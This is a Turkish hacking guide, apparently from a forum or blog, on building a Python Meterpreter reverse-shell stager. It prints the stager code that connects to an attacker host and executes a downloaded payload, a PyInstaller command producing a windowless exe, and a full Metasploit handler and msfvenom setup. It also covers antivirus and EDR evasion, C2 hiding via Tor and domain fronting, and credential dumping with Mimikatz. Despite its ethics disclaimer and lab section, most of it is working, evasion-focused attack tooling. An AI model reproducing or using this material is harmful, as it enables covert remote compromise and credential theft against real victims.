-
Tc4dy
OPSEC Specialist | Free internet - Open Source ADV
🐍 PYTHON METERPRETER STAGER: ZAHMETSİZ BİR REVERSE SHELL NASIL ÇALIŞIR?
Bu rehberde, Python ile yazılmış bir stager kodunun nasıl çalıştığını, neden PyInstaller ile exe’ye dönüştürüldüğünü ve Metasploit ile nasıl iletişim kurduğunu uzun uzun anlatacağım. Ayrıca Windows Meterpreter alternatifi ve bazı püf noktaları da ekleyeceğim. Hazırsan başlıyoruz.⚠️ KRİTİK ETİK UYARI: Bu rehber tamamen eğitim amaçlıdır. Anlatılan teknikleri sadece kendi cihazlarında veya yazılı izin aldığın sistemlerde denemelisin. Yetkisiz kullanım yasa dışıdır ve ağır yaptırımları vardır. Tüm sorumluluk kullanıcıya aittir.
📌 1. KODUN PARÇALARI NE İŞE YARAR?
Verdiğin kod aslında bir reverse shell stager‘dır. Yani boyutu küçük (staged) olduğu için hedefe gönderilmesi kolaydır; asıl büyük payload (Meterpreter) sonradan indirilir.1.1. Bağlantı Kurma (Try-Catch)
pythonfor x in range(10):
try:
s = socket.socket(2, socket.SOCK_STREAM)
s.connect(('IP', PORT))
break
except:
time.sleep(5)
- 10 kez bağlanmayı dener; her başarısız denemede 5 saniye bekler.
- Hedef bilgisayar internete çıkmıyorsa veya port kapalıysa pes eder (ama genelde 10 deneme yeterlidir).
- socket.socket(2, socket.SOCK_STREAM) → AF_INET ve TCP demektir.
1.2. 4 Byte’lık Başlık Okuma
pythondata = s.recv(4)
if len(data) == 4:
l = struct.unpack('>I', data)[0]
else:
print("Received insufficient data.")
raise ValueError
- Saldırgan tarafından önce toplam payload uzunluğu (4 byte, big-endian) gönderilir.
- struct.unpack('>I', data)[0] → 4 byte’ı bir tamsayıya çevirir. Örnek: b'\x00\x01\x02\x03' → 66051.
- Eğer 4 byte’tan az gelirse hata fırlatılır.
1.3. Asıl Payload’u Okuma
pythond = s.recv(l)
while len(d) < l:
d += s.recv(l - len(d))
- l kadar bayt okunana kadar döngü devam eder.
- s.recv(l) tek seferde tüm veriyi getirmeyebilir; bu yüzden while ile parça parça okuma yapılır.
1.4. Decompress ve Execute
pythonexec(zlib.decompress(base64.b64decode(d)), {'s': s})
- Gelen veri base64 kodludur, önce decode edilir, sonra zlib ile decompress edilir.
- exec(..., {'s': s}) → decompress edilen Python kodunu çalıştırır ve s isimli socket nesnesini ortama ekler.
- Bu sayede indirilen ikinci stage (Meterpreter) kendi socket’ini kullanarak saldırganla konuşabilir.
🛠️ 2. NEDEN PYINSTALLER İLE EXE YAPILIR?
Bu betiği çıplak .py olarak gönderirsen hedefte Python yüklü olmalıdır. Oysa PyInstaller ile .exe haline getirdiğinde:- Python yorumlayıcısını içine gömer, kurulum gerektirmez.
- --noconsole flag’i sayesinde hiçbir pencere açılmaz (arka planda çalışır).
- --onefile tek bir exe üretir, taşıması kolaydır.
- Gizli modülleri (code, platform, getpass, shlex, shutil) elle eklemek, bazı antivirüslerin exe’yi yanlış pozitif olarak algılamasını azaltabilir (ama garantisi yok).
pyinstaller --onefile --noconsole --clean --hidden-import=code --hidden-import=platform --hidden-import=getpass --hidden-import=shlex --hidden-import=shutil payload.py
Oluşan dosya: dist/payload.exe (genelde 5-10 MB civarında).
🎯 3. METASPLOİT DİNLEYİCİ AYARLARI
Dinleyiciyi (handler) başlatırken verdiğin parametrelerin her biri bir işe yarar. İşte kısa açıklamaları:| Parametre | Ne Yapar? |
|---|---|
| use exploit/multi/handler | Genel amaçlı bağlantı dinleyicisi |
| set PAYLOAD python/meterpreter/reverse_tcp | Python Meterpreter kullanacağını belirtir |
| set LHOST / LPORT | Senin IP’n ve dinlenecek port |
| set ReverseListenerBindAddress 0.0.0.0 | Tüm ağ arayüzlerinden bağlantı dinler |
| set EnableStageEncoding true | Stage’i şifreleyerek IDS/IPS’den kaçmaya çalışır |
| set StageEncodingFallback true | Şifreleme başarısız olursa eski yöntemi dener |
| set PayloadUUIDTracking true | Her oturuma benzersiz UUID verir (takip için) |
| set PayloadUUIDSeed stealth_modeset | UUID üretiminde sabit bir tohum kullanır |
| set SessionRetryTotal 86400 | Oturum koparsa 24 saat boyunca yeniden bağlanmayı dener |
| set SessionRetryWait 30 | Her yeniden bağlanma denemesi arasında 30 saniye bekler |
| set SessionCommunicationTimeout 600 | 10 dakika sessiz kalırsa oturumu kapat |
| set SessionExpirationTimeout 31536000 | 1 yıl sonra otomatik kapat (çok uzun) |
| set AutoVerifySessionTimeout 60 | Oturum açıldıktan sonra 60 saniye içinde doğrula |
| set AutoSystemInfo false | Sistem bilgisi toplamayı atlar (bazen stabilite için) |
| set MeterpreterDebugBuild false | Debug modunu kapat (normal kullanımda gereksiz) |
| set AutoUnhookProcess true | Process hook’larını temizler (AV/EDR atlatmak için) |
| set MeterpreterTryToFork true | Yeni bir işlem çatallayarak (fork) çalışır (daha stabil) |
| set ReverseAllowProxy true | Proxy üzerinden geri bağlantıya izin verir |
| set StagerRetryCount 20 | Stage indirme başarısız olursa 20 kez dener |
| set StagerRetryWait 10 | Denemeler arasında 10 saniye bekler |
🔄 4. WİNDOWS METERPRETER ALTERNATİFİ
Python Meterpreter bazen kararsız olabiliyor veya antivirüsler tarafından hemen yakalanabiliyor. Bunun yerine Windows Meterpreter daha yaygındır.Msfvenom ile doğrudan EXE oluşturma:
bash
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe -o shell.exe
Metasploit dinleyici:
bash
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST <IP>
set LPORT <PORT>
run
Bu durumda yukarıdaki Python stager’ına ihtiyaç kalmaz. Windows native exe, daha kararlıdır ve Windows API’lerini doğrudan kullanır.
Avantajları:
- Python gerektirmez.
- Daha küçük boyut (2-3 MB).
- kiwi (Mimikatz), hashdump gibi gelişmiş modüller çalışır.
- Process migration, keylogging, screenshot gibi özellikler daha hızlıdır.
- Antivirüs imzaları daha fazla.
- Statik olarak analiz edilmesi daha kolay.
⚙️ 5. GERÇEK DÜNYADA KARŞILAŞILAN ENGELLER
| Sorun | Neden? | Çözüm / Tavsiye |
|---|---|---|
| Antivirüs .exe’yi siliyor | İmza tabanlı tespit | Encoding, packing (UPX) veya obfuscation (örn. -e x86/shikata_ga_nai) |
| Hedefte Python yok | Stager çalışmaz | Windows Meterpreter kullan veya Python’u dağıt (ancak büyük boyut) |
| Bağlantı kurulamıyor | Firewall outbound portu kapatmış | 80, 443 gibi yaygın portları dene, veya HTTPS tunneling |
| Meterpreter oturumu geliyor ama hemen ölüyor | SessionCommunicationTimeout çok düşük | set SessionCommunicationTimeout 0 (sonsuz) |
| Stage indirilemiyor | StagerRetryCount aşıldı | StagerRetryCount artır veya stage boyutunu küçült |
| Python Meterpreter’da load kiwi çalışmıyor | Mimikatz Windows native gerektirir | Windows Meterpreter’a geçmelisin |
🧠 6. GELİŞMİŞ OPSEC İPUÇLARI
- PyInstaller exe’sini imzala: Bir kod imzalama sertifikası (kendin üretebilirsin, ama güvenilir CA olmalı) tespit edilme ihtimalini azaltır.
- Stage verisini şifrele: Metasploit’in EnableStageEncoding zaten yapıyor, fakat custom şifreleme ekleyebilirsin.
- Proxy ve Tor kullan: set ReverseAllowProxy true ile birlikte proxychains üzerinden dinleyici başlatmak IP’ni gizler.
- Domain fronting: C2 trafiğini meşru bir CDN (Cloudflare vb.) üzerinden yönlendir.
🧪 7. TEST ORTAMI KURMA (LAB)
- Saldırgan makine: Kali Linux (IP: 192.168.1.100)
- Hedef makine: Windows 10 sanal (Python yüklü)
- Ağ: NAT veya Host-Only (her ikisi de aynı subnet’te)
- Adımlar:
- Stager kodunu hazırla (LHOST=192.168.1.100, LPORT=4444).
- PyInstaller ile exe’le.
- Hedefe kopyala (scp veya USB).
- Metasploit dinleyiciyi başlat.
- Hedefte exe’yi çalıştır.
- sessions ile oturumu al.
🔚;
Python Meterpreter stager’ı, esnek olmasına rağmen günümüzde Windows Meterpreter’a göre daha az tercih edilir. Ancak Python’un zaten yüklü olduğu sistemlerde (bazı Linux makineler, veri bilimi iş istasyonları) hala işe yarayabilir. Verdiğin örnekteki gibi bir kod, ağırlıklı olarak eğitim amaçlıdır.
💬 SpyHackerz Telegram — Anlık tartışmalar ve duyurular için katıl